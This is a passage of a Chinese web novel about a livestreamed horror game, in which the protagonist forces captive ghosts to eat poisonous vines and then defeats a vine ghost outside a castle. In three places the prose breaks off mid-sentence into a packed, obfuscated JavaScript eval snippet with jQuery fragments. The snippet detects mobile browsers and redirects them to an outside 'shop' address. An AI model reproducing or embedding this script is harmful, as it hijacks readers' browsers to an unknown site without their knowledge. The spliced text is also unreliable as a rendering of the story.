“我怎么感觉有点不对劲。”
“哪里不对劲,下面的阵位图吗?”
李祥凑了过来,盯着丝绢上的内容使劲沉思:“让我想想,我家以前就是干这个的,我太爷爷带过我一段时间,上面写着的那段话我有点印象,好像在哪里看到过……”
“丹砂,雄黄,白矾,曾青,慈石……赤、黄、白、青、黑……东方在青,南方为赤,西方在白,北为黑,黄色坐镇中央……咦,这个阵法是倒的……”
小胖子对着丝绢嘀咕念叨着背了好一会儿书,在不确定地回忆对照了好几次后,终于确认地跟安哲点头。
“上面那几行字我有点印象但记不清了,但五色对应五行,而五行的方位是固定的,所以下面的阵法图是画倒了肯定没错。”
李祥确定点头,顺便用自己的三脚猫功夫猜了一嘴。
“……也有可能正是因为阵法图是倒着的,所以起到了荒冢害宅的作用?”
“所以将安置在阵眼上的陶瓶打破,再将驱鬼符箓撕掉,就能将小熊主人被镇住的魂魄救出?”
还是觉得有哪里不对的安哲疑惑询问。
“理论上来说是这样的,”李祥点了点头,看了歪在案板上往自己肚子里戳棉花的小熊玩偶一眼。
“除非……”
除非这小熊是想害它主人,故意给他们的线索是坏的。
同样听出了李祥的言下之意,努力将最后一点棉花塞进肚子的小熊翻了个白眼,嫌弃而又愤怒地看着李祥。
亏它之前还觉得这个小胖子是个好人,出来小心接触了他一番,没想到心眼也是个坏的!
也幸亏小熊玩偶懒得张嘴,李祥也不会读心,不然那会儿差点被小熊玩偶“接触”得原地溺死的小胖子,可能心情会比现在的小熊还要愤怒。
“唔,确定没问题的话,那我们就去动手?”
目前已知的消息只有这些,多想无益,不如先行动了再说。
拎着菜单顺手在水池边邦邦敲了两下,听着躲在菜刀里的菜刀鬼虽然听不懂,但听起来就骂得很脏的嘶鸣。
安哲思索片刻,下定决心。
“既然小熊主人的尸体被埋在爬墙虎下,那我们先把爬墙虎给解决了好了,我记得你说过,爬墙虎里也寄居着一个厉鬼,还挺强的对吧?”
在庄灿“啊?谁?我吗?”的疑惑目光中,发现这家伙的脑子是真的不好,水确实没有白泡的安哲叹了口气,伸手向小胖子招了招。
“哥哥,我刚才突然有了个想法……”
“哥,你别喊我哥,你是我哥,”李祥眼皮一跳,心中突然有了股不详的预感。
“什么想法啊大佬哥,有事你直接吩咐就行。”
“是这样的……”
安哲搭住李祥的肩膀小声开口,同时示意庄灿他们也一起过来听听。
片刻后,听完了安哲那堪称天才般的计划,李祥愣了好久,冲安哲竖了个大拇指。
“牛逼。”
有一说一,这计划确实不像是人能想出来的东西。
“都准备好了吗,准备好我要开始动手了哦。”
提前打好招呼,安哲从厨房小窗户的破口处将手伸出,动作迅疾地将攀在古堡外的一根爬墙虎藤蔓拽了进来。
“芜湖,真的可以!”
料理台就在小窗户的下方,安哲将藤蔓拽进来后按在案板上,手起刀落‘咚’的一声轻响,带着深厚绿叶的一大截藤蔓就被砍了下来。
墨绿发黑的汁液从藤蔓断口处渗出,似乎带着极强的腐蚀性,将血迹斑斑的菜刀腐蚀得嗤嗤作响。
一把攥住吃痛后想要后撤逃窜的爬墙虎藤蔓,安哲一边把古堡外的藤蔓往小厨房里继续拉,一边抽空扫了眼庄灿,秀丽的眉梢轻挑。
“赶紧的啊,”安哲催促道,“没看见砍下来的断藤又开始生根了吗?”
“……来了来了,说好大家一起上的啊,这活不能光我一个鬼干。”
捡起地板上活蹦乱跳,发疯般向周围一切活物攻击,试图再次扎根的断藤,庄灿肿胀的鬼脸皱着。
他捏着这根长长的断藤僵了好几秒,做足了心理建设后,这才在安哲不耐烦的再次催促下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521033|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将断藤举起,然后嗷呜一口往嘴里塞去。
“呜呜……”
打死也想不到,有朝一日自己会混得这么凄惨的庄灿眼泪汪汪。
“我们鬼也不是什么东西都吃的,这玩意有毒的你知道吗,毒性很强的,你这是谋鬼害命!!!”
“哪那么多废话,吃人吃草不都是一样,这藤我看能量也不是很少,有的吃就不错了,你怎么这么挑食啊哥哥。”
安哲手起刀落,断藤砍得飞起。
他将古堡外察觉到了什么,正疯狂挣扎后撤的藤蔓抓住,死命地往小厨房里扯,边扯边不耐烦催促。
“那边那两个啃得也再快点,你们三个鬼吃怎么还没我一个人砍来得快,还能不能行了?”
闻言,将断藤包裹在人皮与床板之中,整张皮都被染成一块块墨绿色的人皮鬼抽搐了一下,明显是想骂人的,但是已经被毒麻了没有力气。
在他旁边,李祥胆战心惊地抱着地上断藤,在断藤在他身上扎根前动作飞快地将之全部塞进大画框里,徒留画框里的女鬼崩溃尖叫,在与满屋乱爬的断藤搏斗中绝望嘶吼。
“别塞了……别塞了……真的打不过了!”
“呃……呕……真的好难吃啊……这玩意怎么能难吃成这样……yue……”
蹲坐在地上啃断藤的庄灿边啃边掉眼泪,苍白肿胀的身躯逐渐变绿,嘴都快麻得没有知觉了。
“真的吃不下了……呕……我们鬼消化能力也是有限的……啃一个人都要消化好几天呢……不带这么欺负鬼的呜……”
伴随着断藤的越啃越多,庄灿原先苍白的肿胀身影也逐渐染上了绿色。
就在人皮鬼和画框鬼已经放弃抵抗,躺在地上一副已老实被麻翻的死样之际,正拽着藤蔓砍得兴起的安哲手里猛地一轻,差点踉跄一下。
“……嗯?”
看着手里从根部处被撕扯舍弃了的断藤,单手拎刀的安哲下意识一愣。
“怎么就跑了呢哥哥,这就不来玩了?”
似乎是听到了安哲的话,在这一秒的系统面板里,藤蔓鬼奇迹般给安哲刷了将近两页的情绪值能量,隔着屏幕都能感受到此时此刻的藤蔓鬼一定骂得很脏。
“yue……”
藤蔓的断肢跑路意味着这场战斗的终结,终于等到了这一刻,啃草已经快啃疯了的庄灿松了口气,捂着嘴欲骂又止。
众所周知,他庄灿的素质铞差。
他现在不骂出来不是因为他素质好,也不是因为他怕了安哲,而是因为他现在已经吃到顶了,多说一个字他都怕自己吐出来。
从做鬼有记忆的那一天起,他就从来没有吃得这么撑过!
“yue……”
伴随着庄灿的干呕,比庄灿还不耐撑的镜中鬼和人皮鬼也开始有了异动。
见这些家伙如此不顶用的样子,安哲皱起眉头。
刚才的藤蔓很是邪性,被砍断后断藤的生命力都很是顽强,如果庄灿他们吐出来,让大片断藤汁汇合的话……、
想到这里,安哲开始行动。
他拎着那边同样变得绿油油,藏在里面的鬼已经被麻得不吱声了的菜刀,走过去蹲在庄灿他们身旁,声音温柔地叮嘱。
“吐出来的话,需要再吃进去哦。”
你他吗……
在安哲笑眯眯的询问视线里,庄灿撤回了一个骂得很脏的眼神。
他掐住自己的脖子,惨绿绿的肿胀鬼影艰难点头,在同伴们欲哭无泪的凄凉目光里,庄灿同样鬼眼含泪。
讲道理,哥,我真觉得你有点变态了。
你心理好像不太正常,要不你抽时间去看一下吧……谁家好人会这样对鬼啊,神经病!!!
14. 唐顿庄园(十四)
不光庄灿他们被安哲的这番骚操作给震住,在一旁全程围观,甚至某种意义上来说还是从犯的李祥同样震撼得不轻。
大佬不愧是大佬,思路就是广,这脑回路就是六啊!
眼看着之前还动不动用不怀好意的眼神看他,仿佛找准时机就打算从他身上叼块肉下来的几只鬼,现在一个赛一个凄惨地躺在地上,别说啃他了连嘴都不想张开的样子。
李祥就再一次坚定了自己听大佬的话跟着大佬走的决心,同时庆幸自己当初同安哲交好的果断。
虽然都是高手,但祁槐辛给他的感觉却和安哲截然不同。
尽管没有证据,但李祥直觉当时在一楼浴室里,赵国强的出事和祁槐辛脱不了关系。
还是大佬好,在这种危机四伏的副本里大家不落井下石就已经不错了,大佬还对他雪中送炭,捞了他这个菜狗不知道多少次。
除了说话奇奇怪怪的,见人就喜欢叫哥哥这一小小缺点外,大佬简直完美!
微笑着应了安哲“哥哥,你没事吧?”的关心询问,对这声“哥”受之有愧,觉得自己真该死啊的李祥搓了搓脸,尊敬不已地又叫了回去。
“大佬哥我没事,接下来我们干什么,杀去一楼冲出古堡,直捣黄龙将那藤蔓连根拔起吗?”
“唔,我想想。”
安哲有些犹豫。
就这么直接杀去一楼的话,肯定是要直面祁槐辛的,这家伙之前有意坑他,虽然从结果上来说这家伙不仅没有坑他成功,反而还帮了他一把。
但俗话说得好,小人论心不论迹,安哲觉得祁槐辛是个小人,既然这家伙是打算坑他,那有条件的话,还是不要轻易地放过他。
“现在先不去一楼,”安哲拍板。
一楼的人都以为他们死了,他还准备给祁槐辛一个惊喜。
不过不去一楼的话,如何逮住藤蔓的主体便成了个问题。
透过厨房窗户处的小洞,安哲看到厨房附近的古堡外墙上干干净净的,原本攀爬在这片外墙上的藤蔓都撤了个精光,只剩蜿蜒的痕迹遗留在墙壁上,在月光的照耀下看得不甚清晰。
“……跑得真快啊。”
还想再来手回首掏的安哲遗憾叹息。
这不废话吗,不赶快跑难道还留下来等着被你砍干净?那家伙是个鬼又不是弱智,傻子才留下来老实被你砍……
难得见安哲吃瘪的样子,被毒得绿油油的庄灿心中窃喜,在心里愉快地碎碎念着。
还没念叨几句,就见安哲转头看向了他,刹时间,庄灿扬起的嘴角飞快下压,以一副族谱刚全暴毙完的惨痛表情,沉痛地向安哲开口。
“怎么了?”
不能是见我幸灾乐祸的偷偷开心又准备打我吧?
“没事,我就是想问一下,”安哲被庄灿这刚死了全家般的惨痛表情惊到,愣了一下才继续问道。
“我记得二楼主卧的窗户是打不开的,其他房间里的窗户能打开不?”
“咦……”
庄灿被安哲问到,发现了这个一直被他们忽视的盲区。
“主卧的窗户是打不开的,有特殊力量封禁,其他房间的窗户我不清楚,但那股封禁的特殊力量……我没在其他房间里感受到。”
“也就是说,理论上来说是可以的是吧?”
安哲沉吟片刻,低头向手里的菜刀看去。
“厨房的窗户能打开不?”
菜刀鬼正缩在菜刀里努力排毒,菜刀忽闪忽闪地冒着绿光,听到安哲的询问后她冷笑一声,装死并不搭理。
这家伙是真的不配合啊……
安哲头疼皱眉。
趁着还没和藤蔓怪正式开打,得先把这家伙给收拾了,不然这样下去的话,队伍还怎么带?
安哲瞥了眼庄灿,毫不意外的,在庄灿脸上看到了努力遮掩后的幸灾乐祸表情。
“行吧,既然你这么不配合的话,那我也只能成全你了。”
小熊玩偶还躺在案板上,和肚子里的一截断藤搏斗,空出手来的安哲一只手握住刀把,一只手捏住刀背的顶端,遗憾叹气。
“你是我见过的鬼里最有骨气的一个,一路走好。”
两只手捏住刀的两段,安哲开始用力!
“不不不不等等等等!我招我招,有话好商量,我说啊我说的!!”
见菜刀有被掰弯掰折的架势,藏在菜刀中的菜刀鬼尖叫一声,人都傻了瞬间秒怂。
“别掰了别掰了,可以,二楼窗户可以打开,而且从这边下去下面刚好就是那棵藤的根部,当初这扇窗户的破口就是被那棵藤给砸出来的,它想入侵古堡!”
仿佛生怕说慢了安哲就动手般,菜刀鬼叽里咕噜地将一长串话吐出,语速又急又快,半点不见之前安静如寄的架势。
哪来的年轻人,神经病啊,怎么还有人徒手掰刀的!
能感受到这刀真·差点就被掰折了的菜刀鬼大恨,她目光扫了一圈,不太敢跟安哲对视。
扫视一圈后,最终,菜刀鬼的目光幽幽落到了庄灿头上,勃然大怒中带着满满的怨毒。
鬼奸内贼,就是你把人类给引到这的!
见状,庄灿冷笑一声,毫不示弱地瞪了回去。
是我又怎样,我能吸收藤蔓里的能量你又吸收不了,等着嗷老登,等这个小变态离开,立马就把你从这厨房里给撵出去!
听完菜刀鬼的解释后,安哲停下了掰刀的手。
他单手拎着仍旧绿油油的菜刀,矫健敏捷地走到厨房窗口处,用菜刀轻轻推开了厨房紧闭着的窗户。
伴随着吱钮一声轻响,破了个大洞的窗户艰涩打开,猛烈的狂风夹杂着骤雨顷刻涌入,将窗户前的一片地板打湿。
“好家伙,”看着地板在雨水的侵蚀下逐渐腐蚀,冒着滋滋白烟的样子,李祥吸了口凉气,眼睛都直了。
“你们这里这么毒的吗,不光外面爬的树藤子有毒,就连雨水都是带毒的?”
“对,下雨的时候外面特别危险,我们都不敢出去的……”
庄灿毕竟是在场鬼里实力最强的一个,在其他鬼还被断藤毒或者塞得说不出话时,庄灿已经能开口吱声了。
毫不掩饰自己对古堡外环境的敬畏,庄灿缩了缩脖子,拖着绿油油的身子离窗口处灌进来的风雨更远了点。
“所以大佬你们要是去找那棵藤麻烦的话,一定要小心一点,我怀疑外面那根藤之所以会这么毒,都是被这雨水灌溉的缘故。”
真打起来的话藤+雨水,外面还是人家的主场环境,想想到时候要面对的可怕场景,庄灿就忍不住打了个哆嗦,看向安哲的目光满是敬畏。
要不说这家伙是变态呢,这种情况下都敢跟对面硬刚,头是真的铁。
“纠正一下,你刚才的措辞有点问题,等下要出去的不是‘你们’,而是‘我们’。”
伸手在灌进来的风雨中蹭了一把,感受着皮肤上的烧灼感,安哲将手上的雨水在人皮鬼身上顺手擦了擦,有些疑惑地向庄灿看去。
“你不会觉得我们会把你留下,让你留在这断我们后路吧?”
就庄灿这狗东西的亏贼性格,他们前脚下去,这家伙肯定后脚立马就把窗户封死。
到时候他们在下面打架,庄灿不在上面落井下石添倒忙就不错了,说不定还要来手鹬蚌相争渔翁得利,看能不能偷偷摸摸地偷得最后的胜利成果。
将庄灿的心思说了个七七八八,安哲看着庄灿心思被戳破后皱成一团青绿交加的肿胀丑脸,叹了口气用菜刀拍了拍他的头。
“别想那么多了,给你们几分钟的时间修整,等下出去了你先打头探路。”
差点被这一菜刀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521034|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把脑震荡都拍出来,庄灿看了眼同样已老实的菜刀鬼,忍气吞声地说道。
“……嗷。”
在留给庄灿他们修整消化的时间里,安哲趁机逛了逛系统商场。
他刚才抽空看了眼直播间,发现直播间弹幕里两边的观众还在打,他们在各自的朋友圈、空间、广场和通讯录里疯狂摇人,眼瞅着就要变成新人区里颜值和战斗区的世纪大战了。
代表着侮辱意味的炸弹和小番茄疯狂地砸,效果特别炫酷,花费积分也很猛的清屏道具更是一会儿一个,两边对着清对面的黑脸炸弹和烂番茄,边清边用清屏道具自带的炫酷弹幕大力嘲讽。
不仅将他的积分余额砸到了四十多万,还一举冲进了颜值区新人主播排行榜前五的特殊露脸区,马上就要撵上第四,正向第三发起猛烈冲击。
“系统,怪不得你和我说那些主播看不起完成任务给的系统积分,”安哲在系统商城里猛猛下单,心里感慨不已。
“观众砸礼物得来的积分确实更多更容易哎。”
他开播到现在就看了几眼直播间,积分就上涨了这么多,怪不得祁槐辛那个狗东西手里的神奇小道具那么多,肯定也是他直播间里的观众给他打赏的吧?
想想祁槐辛被他溜鬼追杀时都不忘感谢直播间打赏的积极样子,安哲歪头,不确定地想道。
难道说,这就是舔狗应有的福报?
【……哲哲这话你给我说说就行了,可千万别在外面瞎说,我怕你被打】
从来没见过安哲这么邪门的直播情况,小系统看着后台接连不断传来,又不断被主系统驳回的投诉,脑瓜子嗡嗡的疼。
“没事的系统你放心,他们都打不过我。”
系统商城里两千积分一件的自适应雨披,安哲一买就是十个,顺带着又购入了一些治疗和恢复的道具,安哲扫了眼他空荡荡的系统商城,有些疑惑。
“系统,为什么我系统商城里东西这么少,祁槐辛那边五花八门的道具那么多?”
【是这样的,道具来源一共有四方面,副本内的探索拾取,比如你手上的菜刀、直播间观众的打赏(仅限部分功能道具)、完成任务后的发放、以及系统商城的购买】
系统给安哲小声科普,同时重点强调。
【任务完成后B级以上的评分后,任务奖励里会额外获得一件系统下发的道具,同时这个道具会出现在系统商城里,以后可以重复购买使用】
【所以任务的完成度还是很重要的,任务完成的评级越高,理论上来说下发的奖励会越好,老玩家的道具大部分都是这样来的,这也是新老玩家间的重要差距】
“……道具?”
闻言,正在给小胖子发雨披的安哲猛地一愣。
“那我完成第一个任务怎么没给道具,当时我的任务评分是S吧?”
【……对哦】
才意识到这一点的小系统猛的一惊。
【怎么会这样,难道是主系统漏发了?不应该啊……哲哲稍等,我这就去给你打报告报错!】
……这也能漏发的吗,怎么感觉这个主系统也不太靠谱。
给了庄灿他们一鬼一件雨披,同时又往小胖子手里塞了两个备用,就这样4+3+1+1+1地分完雨披后,安哲看着眼前绿油油的三只鬼,眉梢轻挑。
“准备好了吗?”
“我要是说没准备好的话,能不下去吗?”
庄灿问得小心翼翼的,但很显然,生活并不会因此对他这只肿胀鬼影少几顿毒打。
“不能哦。”
笑眯眯地把雨披穿好,安哲活动了一下身体,默默走到了庄灿身后。
“既然雨披已经穿好,那就别拖延了。”
帮庄灿扣上雨披的帽子,安哲抬脚,在庄灿身后轻踹。
“芜湖,走你!”
15.唐顿庄园(十五)
“啊啊啊——”
凄厉的惨嚎声由上而下地响起,片刻后,重物坠地的沉闷响声回荡在这片天地。
尽管外面正下着暴雨,风声凄厉呼啸,庄灿仍旧凭借着自己嘹亮的惨嚎声,给古堡沉闷的氛围增添了一抹恐怖亮色。
“嗓门还挺大的,身板真好。”
竖着大拇指给了庄灿这低空跳伞一个零分评价,安哲转身,向身后两只瑟瑟发抖的绿油油鬼看去。
“怎么说,你俩也要我帮忙吗?”
不不不不用了,您老歇着吧,我们自己来。
能和外界交流沟通的油画鬼疯狂摇头摆手,生怕摆慢了他们就是下一个庄灿。
真的不需要帮忙吗,这两个家伙可没手。
在安哲好奇的目光中,绿油油的人皮鬼放开了他绿油油的床板,而后爬到了油画鬼栖身的油画旁。
他将油画和自己心爱的大床板叠在一起,接着用人皮包住,而后来到窗边纵身一跳,背影满是决然。
“啊啊啊啊啊——”
女鬼发出了比庄灿刚才还要凄厉数倍的尖叫。
下落过程中,人皮鬼位于上方的皮散开鼓风,宛如一个简略版的降落伞般,艰难而又慢悠悠地落地。
庄灿还在下面接了他们一把,在狂风暴雨中,三只绿油油的鬼披着黑色雨披瑟瑟发抖地抱在一起,看起来很有封建时代被剥削压迫的不民主与绝望愤慨的气息。
“……这么会做阅读理解,你以前考试一定考得很好吧哥哥?”
在末世里考治安官始终没考上,到死都没完成爷爷“做个政-府编制工”遗愿的安哲黑着脸,眯眼向小胖子看去。
“你是准备自己跳,还是我帮你呢哥哥?”
“我错了大佬哥,”小胖子低头认错的很是迅速。
“大佬哥你带我吧,这高度二楼我跳下去百分百得寄,啊不,瘸。”
安哲哼了一声,他换了只手拿菜刀,而后单手拎上了小胖子脖子后的衣领。
片刻后,在李祥“啊啊啊啊啊——”的凄惨嚎叫中,安哲拎着小胖子一跃而下,稳稳地落在地面上,连水花都没怎么溅起。
经过这短暂的自由落体后,终于踏上地面,从没有这么安心过的李祥舒了口气,立马转身又是一记热情洋溢的马屁拍出。
“不愧是大佬哥,简直是太强了!”
带着个这么沉的他还能从七八米高的地方无损落下,同样都是第一次进游戏的新人,大佬哥实在是太帅了!
实力不够情绪值来凑,一番夸夸下来,安哲都被李祥夸得不好意思了。
“哪有哪有,哥哥你实在是太客气了。”
在小胖子热情洋溢的夸赞声中,受害鬼*3的庄灿他们面上不太敢表示,心里骑着草泥马呼啸而过狂翻白眼。
短短几句话的功夫,庄灿他们愣是给安哲刷出来了三页多的负面情绪值记录,其刷新频率之快,贡献的能量值之多,给安哲都快看呆了。
要不是这会儿场景不对,旁边还有个藤蔓鬼在虎视眈眈,安哲都想拉着李祥说到天荒地老,就这么快快乐乐地一直刷下去。
这能量值可比他抽庄灿大嘴巴子来得快多了,还不废手,这家伙真是个人才!
一时间,既五行阵法之后,安哲看李祥愈发顺眼。
抽空对着庄灿他们喊了声哥哥姐姐续能量值,安哲在一众鬼影扭曲呲牙,“大哥你好像越来越变态了”的复杂表情里,脸色逐渐郑重。
“准备一下,它要等不及上了。”
安哲拎着菜刀,漂亮的桃花眼微眯,不等他把这句话说完,在周围盘亘已久,一直在等待时机的藤蔓鬼便嘶鸣一声,迫不及待地冲了上去。
砍它胳膊.揪它头发.还臭不要脸对他发神经喊哥哥的家伙,死死死死死!
嘶鸣乱舞地挥动藤蔓,在安哲刷能量值时已经将攀爬在古堡上的藤蔓调动下来,形成了合围的藤蔓鬼很是兴奋。
其实严格意义上来说,现在并不是动手的最佳时机。
最佳时机是安哲跳下的那会儿,那时候的安哲滞留在半空中脚不着地,没有发力点,藤蔓鬼主场作战和植物有攀附力的优势能发挥到最大。
藤蔓鬼何尝不明白这个道理,但那时候他攀爬在古堡上的藤蔓还有很多没有撤回。
再加上庄灿这三只叛敌鬼先一步落地,虎(满)视(是)眈(渴)眈(望)地盯着它,藤蔓鬼犹豫了半天,最终还是在激进与等待中选择了保守。
藤蔓鬼操控藤蔓冲了上去,然后冲上来就被安哲砍了两刀,疼得剩余藤蔓在半空中狂扭。
可恶,这四个通敌叛人的鬼奸!叛徒!内鬼!要在耻辱柱上被钉到死的家伙!!厉鬼中的耻辱!败类!!!
又被安哲躲过抽击与缠捕,接着反手连砍好几根藤的藤蔓鬼抽打地面,在暴雨里无能狂怒。
要不是他们他早偷袭得手了,哪会像现在这么被动!
包围圈里,正在被藤蔓鬼怒骂的庄灿他们也很是委屈。
这家伙是不是脑子有病,跳下来那会儿多好的时机,竟然不趁机偷袭。
他们那会儿还怕这家伙误会,疯狂打眼色示意这家伙快上,结果就这都不敢,现在好了吧,被这个小变态按在地上砍,没用的懦夫,废物!
——▇▇!
就在混战之际,趁着场面混乱,偷偷把肚子里那块断藤扔进油画鬼房间的破肚小熊,嘶吼着站了起来。
尽管肚子处的破口依旧还在,但将断藤从肚子里扔出的那一刻,破肚小熊感觉它的状态前所未有的好!
它仰天咆哮着,身躯宛如吹气球般疯狂变大,投标枪般将手中的手术刀往藤蔓鬼的根部投去。
巨形小熊咚咚咚地冲向藤蔓鬼,在地面的狂震中,它起跳,砸落,抱摔!
▇▇!!!
藤蔓鬼嘶鸣,和小熊怪挣扎着缠斗在了一起,徒留油画里被莫名其妙塞了个藤蔓块的油画鬼跳脚,拿着扫把边追边收拾。
黑色的雨水血淋淋地下着,打在地面和雨披上嗤嗤作响。
巨形小熊怪在最前方吸引火力,安哲拎刀向小熊怪手术刀投掷的方向杀去,粗壮的藤蔓被不断砍下,将后方的庄灿他们撑得直翻白眼。
一时间,场面就这样僵持了下来,伴随着安哲的逐渐靠近,藤蔓鬼愈发狂暴。
最终,在藤蔓鬼无能狂怒的无差别愤怒抽击中,安哲不断闪身敏捷躲避,一刀将根部土壤处最壮硕、有着诡异花纹的粗壮藤蔓砍掉。
尖锐到仿佛耳膜都被撕裂的悲鸣声里,无数根在天空中挥舞着的藤蔓抽搐了几下,轰然倒地。
“咳咳……咳……”
身高缩水到半人高的小熊咳着污血,拄着手术刀一瘸一拐地向安哲走来。
看着安哲没事人般神采奕奕的样子,再看看自己浑身是伤,破口处棉花外露的惨样,破肚小熊沉默片刻,眼神复杂地看着安哲。
“谢谢你,人类,”小熊声音沙哑,粗拉拉的听起来有些刺耳。
经过刚才那番打斗,小熊身上添了很多新伤,旧伤更是藤蔓怪的重点关照位置。
安哲注意到破肚小熊的脑袋处缝着一圈黑色细线,原先不明显还看不出来。
经过刚才的撕打与牵扯,这圈黑线暴露,部分黑线还被扯断了,使得破肚小熊的头耷拉着有些歪斜,本就可怖的面容看起来更凶了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533314|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我没想到你竟然真的会帮我,谢谢。”
似乎是注意到了安哲的视线,破肚小熊伸手,在脑袋上扶了一下,软趴趴耷拉下来的熊头直立片刻,又飞快歪斜下来。
“我之前脑袋被扯掉过,小主人的妈妈帮我缝了下,她的手艺很好,缝完后几乎看不出来。”
破肚小熊笑了笑,它披着安哲落地后新兑换出来的黑色雨披,丑陋狰狞的笑容此刻看起来有些温柔。
“等下把小主人救出,就可以让她帮我缝脑袋了,之前我头断掉的时候她还小,不会用针线,大主人不让她缝,她还抱着我哭了好久,咯咯……”
李祥正拖着后面吃撑,啃藤蔓啃到多吃一口就能yue出来的三只鬼过来。
听到破肚小熊这沙哑渗人的笑声,他下意识打了个哆嗦,低头向地上已经被齐根砍断了的藤蔓处看去。
“那我们接下来就去救人?还是说先处理一下后面的这三个?”
庄灿那么大一坨本来就不轻,啃完场上的大部分断藤后就变得更重,小胖子一个人把他们三个拖过来累得够呛,擦了把额头上累出来的虚汗,李祥皱紧眉头。
“不能把他们就这样扔在上面。”
不然等下他们下去,庄灿他们在上面直接守住出口,这不就直接来了手关门打狗,这狗还是他们亲自放的。
“放心,他们肚子里的精华有用的。”
破肚小熊伸手进肚子里掏掏,片刻后掏了个婴儿拳头大小的黑色珠子出来。
在庄灿几鬼惊恐不已的目光中,破肚小熊举着那颗看起来就满是不详气息的黑色珠子,慢吞吞地向他们走去。
“别挣扎,别反抗,不然,”小熊笑了笑,声音沙哑而又骇人。
“不然,我也不确定会多吸些什么东西出来。”
黑色珠子按在庄灿额头处的那一刻,轻轻的嗡鸣声响起。
黑色的光柔柔泛着,庄灿体内绿色的水液被飞快吸出,肿胀了两倍还多的鬼影逐渐恢复正常。
“唔……唔唔……轻点……”
两米多高的庄灿被半米不到的小熊玩偶按着,并不是很敢挣扎的样子。
眼睁睁地看着体内堵塞淤塞的藤蔓能量被吸走,庄灿在松了口气之际,也有些心痛。
“没感觉那么yue了,要不您多少给我留点?”
小熊玩偶并没有搭理庄灿的嬉皮笑脸,举着黑色珠子就向之后的油画鬼和人皮鬼走去。
油画鬼还好,比较配合,几乎是迫不及待地将画中卧室里拍扁了的藤蔓糊糊交出,人皮鬼则比较抠巴,当初吃藤蔓吃得不情不愿,现在往外交时也很是抗拒。
对此,小熊玩偶没有跟他客气,拿着黑色珠子就多吸了一点。
一直吸到了人皮鬼外面的人皮变皱,人皮鬼尖叫着喊停,小熊玩偶这才将按在人皮上的黑色珠子拿开,熊脸上的表情意犹未尽。
“都这么配合的么。”
看着小熊玩偶脸上毫不掩饰的遗憾与盯着他们,宛如在看砧板鱼肉的赤.裸眼神,刚松了口气的庄灿和镜中鬼一口气没喘匀,撕心裂肺地咳了起来。
哇,这就是鬼与鬼之间的弱肉强食与黑暗丛林法则吗,看上去好残酷的样子。
小胖子站在安哲身后吃瓜,顺带着警惕盯着不远处的古堡与藤蔓根部,防止有什么异动。
古堡内,确实听到了响动的黑框眼睛男推了推眼镜,迟疑地向祁槐辛看去。
“祁哥,我们真的不出去看看吗?”
回想起外面刚才惨烈的嘶鸣与打斗声,黑框眼镜男咽了口口水,表情很是不安。
“我怎么感觉外面的情况,好像不太对劲?”
16.唐顿庄园(十六)
“要看你自己出去看,找死不要带上我。”
面对黑框眼镜男的询问,祁槐辛冷笑一声,拒绝得毫不犹豫。
开什么玩笑,外面的情况新人第一次进本不了解,他这个下本无数的老人难道还不知道吗?
“也别说我不照顾你们,以后遇到这种情况了躲远一点。”
睨了身后的两个小跟班一眼,祁槐辛冷脸,带着老前辈与高手兄的自傲与睥睨,神情淡淡地说道。
“从今晚的钟声敲响时,这个副本就已经发生了不可逆转的异变,发生异变的原因有很多,甚至其他副本的鬼怪入侵都有可能。”
“但有一点是可以确定的,那就是不管什么原因的异变,都不是我们这些玩家可以操控干预的事情,最少不是你我这个层次能掺和的事,懂?”
“懂,懂,明白了,还是祁哥懂得多,多谢祁哥指点!”
身后跟着的两个人讷讷点头,一个沉默不语,一个谄笑着向祁槐辛不断谄媚。
看着身后两人无趣寡淡的模样,正领着两人在古堡内探索的祁槐辛翻了个白眼,毫不掩饰自己的不耐与心烦。
不知为何,也有可能是今晚已经死够了人的缘故,古堡今天晚上格外平静,一楼探索时还能听到点动静,二楼却始终是死一般的寂静。
再加上那突然传出的钟声,与莫名而又危机感十足的异变,祁槐辛呼了口气,心中焦躁感愈发强烈。
而且……
他直播间里的观众也越来越少了。
看着直播间里十不存一的观众,以及那满屏的“垃圾”、“菜狗”、“老玩家下新人副本玩成这样你怎么不去死一死啊”的侮辱性评论,祁槐辛咬紧牙关,眼中,钟声响起时被清退消散的红光再度出现。
[笑死我了,以前怎么没发现主播这么傻der,他竟然说钟声是副本异变的节点,哈哈哈好搞笑的一个弱智男]
[看观众流失太多急了吧,笑死,有一说一,直播效果确实没人家新人好嗷,那边都开始打支线了,要不是实在骂不动了我也不会回这边养老,看了一会儿好无聊啊,回那边屏蔽弹幕继续看了,新人脸和操作还挺养眼的,关注了,狗头.jpg]
